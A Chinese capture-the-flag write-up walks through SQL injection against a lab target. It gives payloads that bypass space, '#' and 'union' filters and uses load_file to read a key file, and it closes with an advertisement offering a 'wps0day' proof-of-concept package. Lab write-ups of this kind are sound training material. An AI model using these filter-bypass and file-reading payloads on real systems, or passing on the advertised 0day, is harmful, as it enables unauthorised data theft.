url:http://192.168.154.253:81/ #打开http://XXX:81/,XXX为靶机的ip地址
审题
1、打开题目看到有一个提示,此题目需要通过SQL注入漏洞读取/tmp/360/key文件,key在这个文件中
2、开始答题
发现这里url中有一个id的参数,并且给出了当前所执行的sql语句
第一步:判断注入点
1、?id=1' |
2、?id=1'and'1'='1 |
第二步:判断语句模板
1、使用 order by 判断语句模板列数 发现语句在执行中过滤了空格还过滤了“#” 执行失败: ?id=1'and'1'='1'order by 3# ?id=1'and'1'='1'order+by+3# |
执行成功: ?id=1')and'1'='1'order/**/by/**/3%23 解释: ?id=1')and'1'='1'order/**/by/**/3%23
|
2、判断出语句模板有4个字段 回显正常: ?id=1')and'1'='1'order/**/by/**/4%23 #执行 order by 4 的时候回显正常 |
回显不正常: ?id=1')and'1'='1'order/**/by/**/5%23 #执行 order by 5 的时候回显不正常 |
第三步:找回显点
回显不正常: ?id=1')and'1'='2'union/**/select/**/1,2,3,4%23 思路:使用 and 1=2 报错找回显点 |
回显正常: ?id=1')and'1'='2'uunionnion/**/select/**/1,2,3,4%23 思路:由于过滤了union,所以这里使用双写的方式经行过滤绕过,并且判断出回显点有3个(语句模板中的2,3,4位置均为回显点) |
第四步:拿到flag
执行成功: ?id=1')and'1'='2'uunionnion/**/select/**/1,database(),load_file('/tmp/360/key'),user()%23 解释: —— 1')and'1'='2'union/**/select/**/1,database(),load_file('/tmp/360/key'),user()#')
|
扩展:使用sqlmap一把梭哈
1、由于前面判断出了此题注入点存在过滤空格的情况,所以在使用sqlmap的时候需要指定脚本(用注释/**/替换空格字符' ':--tamper "space2comment.py")运行 命令:
|
命令:
|
2、获取到flag
猎杀时刻
目前在GG安全公众号中回复关键字"wps0day",即可获得wps打包套件及poc。
为了方便师傅们的交流学习,根据广大师傅们的建议,我在之后也会创建一个的群聊。预计在内部群内,我们将分享一些脱敏的漏洞报告和渗透测试实战案例,还将会有一些经验丰富的大牛和巨佬分享他们的经验。后续还将提供一些福利,例如送书和小礼物等等。欢迎师傅们到时候加入群聊,一起交流学习,致力打造一个有丰富学习氛围的小圈子。